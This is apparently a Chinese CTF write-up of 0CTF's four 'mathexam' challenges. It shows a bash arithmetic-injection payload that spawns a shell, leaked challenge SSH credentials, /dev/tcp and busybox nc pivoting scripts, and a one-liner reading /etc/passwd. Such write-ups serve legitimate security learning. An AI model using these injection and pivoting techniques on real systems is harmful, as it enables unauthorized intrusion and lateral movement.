0CTF Mathexam Writeup
mathexam 系列非常有意思,主要考察如何在受限的 bash 下完成端口转发,题目的场景可以适用到一些小设备的渗透中。利用思路总结如下:
- mathexam-1:bash -eq 注入
- mathexam-2:利用 busybox nc 完成端口转发。
- mathexam-3:去掉了 buxybox,利用 cat 完成端口转发。
- mathexam-4:进一步去掉了 cat,需要利用纯粹的 bash 完成端口转发。
mathexam-1
The math exam starts now. Participate with integrity and never cheat.
Someone has stolen the exam paper, and definitely he got full marks. Fortunately, he didn’t find the flag.
#!/bin/bash
echo "You are now in the math examination hall."
echo "First, please read exam integrity statement:"
echo ""
promisetext="I promise to play fairly and not to cheat. In case of violation, I voluntarily accept punishment"
echo "$promisetext"
echo ""
echo "Now, write down the exam integrity statement here:"
read userinput
if [ "$userinput" = "$promisetext" ]
then
echo "All right"
else
echo "Error"
exit
fi
echo ""
echo "Exam starts"
echo "(notice: numbers in dec, oct or hex format are all accepted)"
echo ""
correctcount=0
for i in {1..100}
do
echo "Problem $i of 100:"
echo "$i + $i = ?"
ans=$(($i+$i))
read line
if [[ "$line" -eq "$ans" ]]
then
correctcount="$(($correctcount+1))"
fi
echo ""
done
echo "Exam finishes"
echo "You score is: $correctcount"
exit
题目给了一个 bash 脚本,获取用户输入并使用 -eq 进行了比较。bash 脚本中这样的语句是可以注入的:[[ "$VAR" -eq "something" ]]
,具体可参考文章:Arithmetic operation in shell script can be exploited - DEV Community
注入 poc:
x[$(command)]
测试命令时可以发现题目会将错误输出出来,但是标准输出看不到,因此我们将标准输出重定向到错误输出。另外目标环境有 busybox,可以使用下面的 payload 打开交互式 shell,就可以拿到 flag1。
x[$(/bin/busybox sh 1>&2)]
mathexam-2
拿到第一关 shell 后,可以在根目录中找到一个 .connect.sh.swp 文件,获取该文件的内容可知 second 主机的用户名密码为 ctf:x5kdkwjr8exi2bf70y8g80bggd2nuepf。
获取第二关的 flag 要求我们 ssh 登陆到 second 主机中,但目标环境设置了诸多限制:
- 没有 ssh
- 仅有的二进制文件都在 /bin 目录下
drwxr-xr-x 1 0 0 4096 Dec 10 00:11 . drwxr-xr-x 1 0 0 4096 Dec 10 00:11 .. -rwxr-xr-x 1 0 0 1396520 Dec 9 18:44 bash -rwxr-xr-x 1 0 0 2193264 Dec 10 00:11 busybox -rwxr-xr-x 1 0 0 35280 Dec 10 00:11 cat -rwxr-xr-x 1 0 0 138208 Dec 10 00:11 ls lrwxrwxrwx 1 0 0 4 Dec 9 18:44 sh -> bash
- 当前用户对所有文件都没有写权限。
也就是说我们需要利用 busybox、bash、cat 来做端口转发,具体思路如下:
- 通过 busybox nc 连接到 second。此时 busybox nc 与 ssh 服务建立起了 TCP 连接。
busybox nc second 22
- 我们只需要在该连接中收发数据即可完成 ssh 认证,我们可以通过 python 中的 subprocess 模块来控制终端数据的收发,以此来实现端口转发。
编写脚本如下。
import subprocess
import threading
import select,os,time
# 命令和参数
command = ["nc", "-X", "connect", "-x", "instance.0ctf2023.ctf.0ops.sjtu.cn:18081", "kctgxr4bjb6kgj26", "1"]
# 启动进程
process = subprocess.Popen(
command,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
bufsize=0 # 设置为 0 以关闭缓冲
)
thread_close = 0
def read_output(process):
while True:
if thread_close==1:
break
# 检查是否有数据可读
reads, _, _ = select.select([process.stdout], [], [], 0.1)
if reads:
# 获取文件描述符
fd = process.stdout.fileno()
# 读取可用的数据
output = os.read(fd, 4096) # 读取最多 4096 字节
if output:
print(output.decode(), end='')
# 创建并启动线程
thread = threading.Thread(target=read_output, args=(process,))
thread.start()
# 发送命令
process.stdin.write(b"I promise to play fairly and not to cheat. In case of violation, I voluntarily accept punishment\n")
process.stdin.flush()
time.sleep(1)
process.stdin.write(b"x[$(/bin/busybox sh 1>&2)] \n")
process.stdin.flush()
process.stdin.write(b"busybox ping -c 1 second\n")
process.stdin.flush()
#监听端口,建立通道
import socket
# 设置监听端口
listen_port = 3333
# 创建 socket 对象
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind(('0.0.0.0', listen_port))
server_socket.listen(1)
print(f"Listening on port {listen_port}...")
# 接受一个连接
client_socket, addr = server_socket.accept()
print(f"Connection from {addr} established.")
thread_close=1
# 等待线程结束
thread.join()
process.stdin.write(b"busybox nc second 22\n")
process.stdin.flush()
def socket_read_output(process):
while True:
# 检查 process.stdout 是否有数据可读
reads, _, _ = select.select([process.stdout, client_socket], [], [], 0.1)
# 如果 process.stdout 有数据可读,则将数据发送到客户端
if process.stdout in reads:
fd = process.stdout.fileno()
output = os.read(fd, 4096)
if output:
client_socket.sendall(output)
def socket_write_output(process):
while True:
# 使用 select 监测客户端 socket 是否有数据可读
reads, _, _ = select.select([client_socket], [], [], 0.1)
# 如果客户端有数据可读,则将数据发送到 process.stdin
if client_socket in reads:
data = client_socket.recv(4096)
if data:
process.stdin.write(data)
process.stdin.flush()
thread1 = threading.Thread(target=socket_read_output, args=(process,))
thread1.start()
thread2 = threading.Thread(target=socket_write_output, args=(process,))
thread2.start()
thread1.join()
thread2.join()
client_socket.close()
server_socket.close()
print("Connection closed.")
exit(0)
执行该脚本后,会将本地的 3333 端口转发到 second 的 22 端口,这样我们就可以连接到 second 了。
mathexam-3
连接到 second 后,flag 文件中会提示第三关的 flag 在 third 主机上,用户名密码不变,我们需要再构建一层代理。不同在与 second 主机中将 busybox 移除了。
没有 nc 的情况下,我们仍然可以使用 exec 或者 cat 连接到远程端口,参考:
- Some useful tips about /dev/tcp | Andrea Fortuna
比如:
cat </dev/tcp/time.nist.gov/13
或者使用 exec 将 tcp 连接绑定到描述符 3,然后通过 echo 或者 cat 收发数据。
exec 3<>/dev/tcp/www.google.com/80 echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3 cat <&3
根据这个原理,我们就可以构建出一个类似的收发窗口:
exec 3<>/dev/tcp/third/22 cat <&3 & cat >&3
- 前两行代码可以替代
busybox nc third 22
,利用 & 可以将读取远程消息的任务放在后台,一旦接收到数据,就可以直接打印在标准输出中。 - cat >&3 会等待用户的输入,用户输入之后会重定向到描述符 3 中,python 脚本中就可以直接用 process.stdin.write 发数据就可以了。
利用脚本与上一关的类似,在此前的脚本中做修改即可,需要注意的就是需要在收发前,先执行上面构造的 payload。
exp2.py
import subprocess
import threading
import select,os,time
import binascii
# 命令和参数
command = ["ssh", "ctf@127.0.0.1","-p","3333"]
...
# 创建并启动线程
thread = threading.Thread(target=read_output, args=(process,))
thread.start()
time.sleep(5) #手动输入密码 x5kdkwjr8exi2bf70y8g80bggd2nuepf
process.stdin.write(b"whoami\n")
process.stdin.flush()
...
listen_port = 4444
...
process.stdin.write(b"exec 3<>/dev/tcp/third/22\n")
process.stdin.write(b'cat <&3 & \n')
process.stdin.write(b"cat >&3\n")
...
利用时先运行 exp.py,然后运行 exp2.py。此时可以通过本地 4444 端口登陆 third。
mathexam-4
进入了 third 主机后可以发现这一关将 cat 也去掉了,所以思路也比较明确,就是使用纯粹的 bash 内置命令来达到 cat 相同的效果。
bash 相关命令的使用可以参考:
其中就提到了一些读写文件描述符的方法:read、echo、printf。比如文件写,我们可以通过 echo -ne 来写二进制数据。
echo -ne "\xf0\x00\x00\x00\x12\x00" >&3
这样就可以替代 cat 来写数据:
cat >&3
读取数据可以使用 read 来代替,read 可以使用 -u 参数指定文件描述符,逐行获取内容后使用 echo 输出到终端。
while read -u 3 -r line;do echo -ne "$line\n";done
但测试的时候会发现经过 read 处理的数据发生了变化,所有的 \x00 都被吞掉了。
#!/bin/bash
echo -e "1123\x80\x00\x01\x80" | xxd
echo -e "1123\x80\x00\x01\x80" | while read -r line;
do
echo -ne "$line\n" ;
done | xxd
read 读取到 \x00 时,并不会给变量 line 赋值 \x00,而是赋值 ‘‘。因此我们可以逐字节读取,如果为空的话,就主动添加一个 \x00,同时给 read 添加 -n 和 -d 参数。两者一起使用可以达到逐字节读取的目的。
- -n 参数指定一次读取的字节数。
- -d 参数可以指定分隔符为空字符。 ```bash #!/bin/bash echo -en “1123\x80\x00\x00\x00\x01\x80” | xxd
echo -en “1123\x80\x00\x00\x00\x01\x80” | while read -r -d ‘’ -n 1 line; do if [[ $line == ‘’ ]] then echo -ne “\x00” else echo -ne “$line” fi done | xxd
![20231211054258](https://de34dnotespics.oss-cn-beijing.aliyuncs.com/img/20231211054258.png)
当然,这里输出也可以使用 printf. printf 参数 %c 可以输出单个字节.
```bash
echo -en "1123\x80\x00\x00\x00\x01\x80" | xxd
echo -en "1123\x80\x00\x00\x00\x01\x80" | while read -r -d '' -n 1 line;
do
if [[ $line == '' ]] then
echo -ne "\x00"
else
echo -ne "$line"
fi
done | xxd
echo -en "1123\x80\x00\x00\x00\x01\x80" | while read -r -d '' -n 1 line;
do
printf "%c" "$line"
done | xxd
貌似一样了,但是如果用二进制文件测试的话,还是会发现结果不同,如下。
#!/bin/bash
cat /bin/cat | xxd > result_cat
cat /bin/cat | while read -r -d '' -n 1 line;
do
if [[ $line == '' ]] then
echo -ne "\x00"
else
echo -ne "$line"
fi
done | xxd > result_echo
cat /bin/cat | while read -r -d '' -n 1 line;
do
printf "%c" "$line"
done | xxd > result_printf
例如 \x20 经过 read 之后也会变成 ‘‘。这是由于 \x20 为空格,属于 bash 中的分隔符(IFS),因此经过 read 之后也会变成 ‘‘,默认情况下,IFS 的值包括空格、制表符和换行符。
但 read 可以指定 IFS 的值。IFS= 可以将分隔符设置为 ‘‘。
#!/bin/bash
cat /bin/cat | xxd > result_cat
cat /bin/cat | while IFS= read -r -d '' -n 1 line;
do
if [[ $line == '' ]] then
echo -ne "\x00"
else
echo -ne "$line"
fi
done | xxd > result
但这样又发现了新的一些问题:
- printf 和 echo 的输出在处理某些内容时还是会不一致。
- read 在处理某些字符串时会吞掉一部分 \x00。比如:当输入字符串有 3 个 \x00 相邻时,会被吞掉一个。
#!/bin/bash echo -en "\xf0\x00\x00\x00\x12\x00"
不管是使用 printf 还是 echo, 结果都是一样的,直接调试 bash 也能发现是 read 的问题。
emmm,实在是很难构造出完全相同的数据。硬着头皮试的时候突然发现,printf %c 输出的数据是可以正常用于 ssh 通信,但 echo -ne 输出的数据会导致 ssh 卡住。。。。
由此可以在 exp2.py 的基础上进行修改(仅标明了修改部分)得到 exp3.py
# 命令和参数
command = ["ssh", "ctf@127.0.0.1","-p","4444"]
...
listen_port = 5555
...
process.stdin.write(b"exec 3<>/dev/tcp/fourth/22\n") #exec 3<>/dev/tcp/fourth/22
process.stdin.write(b'''while IFS= read -r -d '' -u 3 -n 1 byte ; do printf "%c" "$byte"; done &\n''')
process.stdin.flush()
...
def trans(bytess):
out = []
hex_string = binascii.hexlify(bytess).decode('utf-8')
for i in range(len(hex_string)):
if i % 2 == 0:
out.append('\\x'+hex_string[i:i+2])
connect_cmd = f'''echo -ne "{''.join(out)}" >&3 & \n'''
print(connect_cmd)
# os.system(connect_cmd)
return connect_cmd.encode()
...
def socket_write_output(process):
while True:
...
process.stdin.write(trans(data))
...
依次运行 exp.py ~ exp3.py
然后就可以通过 5555 端口连接上 fourth 了。进去之后没有 cat、可以使用 exec </flag4
读取 flag。
总结:由于受到 read 的影响,printf 和 echo 都没法完全还原二进制文件的内容,但 printf %c 可以正常用于 ssh 通信,但 echo -ne 不行,还得根据具体协议分析,添加更多的字符串转换才能够提高兼容性。
后话,bash 原生命令下,如何完整获取二进制文件的内容呢?我找到了 stackexchange 上的一个解答:linux - bash can’t store hexvalue 0x00 in variable - Unix & Linux Stack Exchange
利用 readarray 可以将带有特殊字符的内容存在数组中,然后再拼接输出。这种方式可以完整获取任意文件的完整内容,即使是二进制文件。
readarray -d $'\0' zArray </etc/passwd
[[ "${zArray[*]}" ]] && printf '%s\0' "${zArray[@]}"
但在这道题的场景下,readarray 不太好用,如果用来读取连接中的 fd 的话,readarray 会被阻塞住,导致 zArray 无法被赋值,后面的 printf 也就读不出内容。
补充:
参考了其他大佬的 writeup:
writeup 作者额外设置了 LC_ALL 环境变量为 C。
LC_ALL=C
LC_ALL 环境变量用于覆盖所有其他本地化设置,它通常用于确保在特定程序运行时使用特定的语言环境。C 语言环境是最简单的语言环境,其中字符是单字节的,字符集是 ASCII,排序顺序基于字节值。
加入该环境变量之后,read 就不会将多个字符解析成一个特殊字符,从而解决上面 \x00 缺失的问题,测试脚本如下:
#!/bin/bash
echo -en "\xf0\x00\x00\x00\x12\x00" | xxd
echo -en "\xf0\x00\x00\x00\x12\x00" | while LC_ALL=C IFS= read -r -d $'\0' -n 1 line;
do
printf "%c" "$line"
done | xxd
echo -en "\xf0\x00\x00\x00\x12\x00" | while LC_ALL=C IFS= read -r -d $'\0' -n 1 line;
do
if [[ -z $line ]] then
echo -ne "\x00"
else
echo -ne "$line"
fi
done | xxd
使用二进制文件来测试也可以完全一致,可以说具备通用性了!